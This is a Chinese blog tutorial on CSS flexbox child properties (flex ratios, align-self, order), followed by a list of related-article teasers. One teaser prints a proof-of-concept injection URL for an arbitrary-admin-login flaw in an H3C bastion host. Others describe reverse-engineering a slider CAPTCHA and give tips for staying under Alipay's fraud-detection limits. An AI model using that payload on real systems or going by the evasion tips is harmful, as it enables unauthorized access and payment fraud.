css之Flex弹性布局(子项常见属性)

news2024/10/7 10:13:24

文章目录

  • 🎀前言:本篇博客介绍弹性布局flex容器中子项的常见用法
    • 🪀flex:子项目占得份数 (划分不同子项的比例)
    • 🎇align-self 控制单独一个子项在侧轴的排列方式
    • 🧸order属性定义子项的排列顺序

🎀前言:本篇博客介绍弹性布局flex容器中子项的常见用法

在这里插入图片描述

🪀flex:子项目占得份数 (划分不同子项的比例)

在这里插入图片描述
【代表占父容器大小的份数】,假设有块大蛋糕,三个人吃,每人各占一份,就是每人吃蛋糕的1/3.

.item1{ //第一人
	flex:1
}
.item2{ //第二人
	flex:1
}
.item3{ //第三人
	flex:1
}

那下面的这种情况,表示第一人 、第二人、第三人分别吃了蛋糕的1/6、2/6、3/6

.item1{ //第一人
	flex:1
}
.item2{ //第二人
	flex:2
}
.item3{ //第三人
	flex:3
}

【注意:我们分配是在剩余空间里面分配】
假设flex容器下有三个div,我们想让第一个盒子、第三个盒子固定,第二个盒子占满剩余空间
在这里插入图片描述

在这里插入图片描述

🎇align-self 控制单独一个子项在侧轴的排列方式

在这里插入图片描述
在这里插入图片描述

🧸order属性定义子项的排列顺序

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1121373.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

10.18~10.22数电第二次实验

频分复用 同一个时间共用一个频道,只不过频率不同,所以互不影响 时分复用 不同时间公用一个频道,轮流使用 时分复用(TDM,Time-division multiplexing)就是将提供给整个信道传输信息的时间划分成若干时间…

使用反射拼接SQL语句 和 使用 反射 + 注解 拼接SQL语句

以下知识本人都是用 Maven工程 总结的 1、使用反射拼接SQL语句 package com.csdn.anno; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Properties; public class AnnotationTest {public static void main(Str…

散列表:为什么散列表和链表经常会一起使用?

文章来源于极客时间前google工程师−王争专栏。 链表那一节,我们用链表来实现LRU缓存淘汰算法,但是链表实现的LRU时间复杂度是O(n),可以通过散列表将时间复杂度降低为O(1) 跳表那一节,Redis的有序集合是使用跳表来实现的&#xf…

阿伐曲泊帕的合并用药方案【医游记】

(图片来源于网络!) 阿伐曲泊帕是一种口服的促血小板生成素受体激动剂,用于治疗择期行诊断性操作或手术的慢性肝病相关血小板减少症的成年患者。本文将介绍阿伐曲泊帕的药理作用和药物相互作用。 药理作用 阿伐曲泊帕可以与人体…

H3C SecParh堡垒机 get_detail_view.php 任意用户登录漏洞

与齐治堡垒机出现的漏洞不能说毫不相关,只能说一模一样 POC验证的url为: /audit/gui_detail_view.php?token1&id%5C&uid%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&loginadmin成功获取admin权限 文笔生疏…

C语言笔试面试必刷题

🎊【面经】专题正在持续更新中,内含C语言,数据结构,Linux,网络编程等✨,欢迎大家前往订阅本专题,获取更多详细信息哦🎏🎏🎏 🪔本系列专栏 - ​​…

【LSTM-Attention】基于长短期记忆网络融合注意力机制的多变量时间序列预测研究(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

URV5使用指南

1. 下载软件 搜索这个地址下载软件 https://github.com/Anjok07/ultimatevocalremovergui/releases/download/v5.6/UVR_v5.6.0_setup.exe 我现在使用的是目前的最新版本5.6.0,后面肯定会出新版,但是流程大致类似。 2.安装软件 基本一直点next就可以&a…

论坛议程|COSCon'23 区块链(B)

众多开源爱好者翘首期盼的开源盛会:第八届中国开源年会(COSCon23)将于 10月28-29日在四川成都市高新区菁蓉汇举办。本次大会的主题是:“开源:川流不息、山海相映”!各位新老朋友们,欢迎到成都&a…

【链表专题】

链表专题 移除链表元素设计链表反转链表 移除链表元素 移除链表元素(Leetcode:203) 给你一个链表的头节点 head 和一个整数 val ,请你删除链表中所有满足 Node.val val 的节点,并返回 新的头节点 。 /*** Definition for sing…

跟着Nature Communications学作图:R语言ggplot2散点组合误差线展示响应比(Response ratio)

论文 Meta-analysis of the impacts of global change factors on soil microbial diversity and functionality https://www.nature.com/articles/s41467-020-16881-7#Sec15 论文里提供了数据和代码,很好的学习素材 这篇论文是公众号的一位读者留言,…

某验四代滑块验证码逆向分析

逆向目标 目标:某验四代滑块验证码,w 参数逆向主页:aHR0cHM6Ly9ndDQuZ2VldGVzdC5jb20v加密算法:RSA、AES 通讯流程 验证码流程分析 进入网页后,打开开发者人员工具进行抓包,点击滑动拼图验证&#xff0c…

最强英文开源模型LLaMA架构探秘,从原理到源码

导读: LLaMA 65B是由Meta AI(原Facebook AI)发布并宣布开源的真正意义上的千亿级别大语言模型,发布之初(2023年2月24日)曾引起不小的轰动。LLaMA的横空出世,更像是模型大战中一个搅局者。虽然它…

支付风控规则

支付宝使用基本风控规则 一、 6个规则 1、规则一:30分钟内,不要连续刷3笔(包括失败交易),两笔交易时间间隔大于5分钟,交易金额不要一样,不要贴近限额; 2、规则二:非正…

Python数据结构(链表)

Python数据结构(链表) 单向链表 单向链表也叫单链表,是链表中最简单的一种形式,它的每个节点包含两个域,一个信息域(元素域)和一个链接域。这个链接指向链表中的下一个节点,而最后一个节点的链接域则指向…

postgresql14-表的管理(四)

表table 创建表 CREATE TABLE table_name --表名 (column_name data_type column_constraint, --字段名、字段类型、约束字段(可选)column_name data_type, --表级别约束字段...,table_constraint );CREATE TABLE emp1 --创建表 AS SELECT * FROM empl…

『干货』WebStorm代码模板配置大全

『干货』WebStorm代码模板配置大全 文章目录 『干货』WebStorm代码模板配置大全一、代码模板二、前端 vue 框架2.1 选项式API2.2 组合式API2.3 组合式API TS 三、 前端 UniApp 框架3.1 选项式API3.2 组合式API3.3 组合式API TS 四、前端 React 框架4.1 类声明式4.2 函数声明式…

史上最全 2023全国大学生软件测试大赛——赛后有感

这个比赛什么成分我不好多说,首先说一下我的背景,我们学校是这个比赛的我们省赛的主办方,老师要求我们参加web应用测试和开发者测试,我都参加了,自认为还算是个学习成绩比较好的student,计算机专业前5%&…

【BP-Adaboost预测】基于BP神经网络的Adaboost的单维时间序列预测研究(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

详解 Diffusion (扩散) 模型

扩散模型是跨不同深度学习领域使用的生成模型。目前,它们主要用于图像和音频生成。最值得注意的是,这些模型是令人印象深刻的图像生成模型(例如 Dalle2 和稳定扩散)背后的驱动力。我相信您已经看过这些模型生成的闪烁图像。令人惊…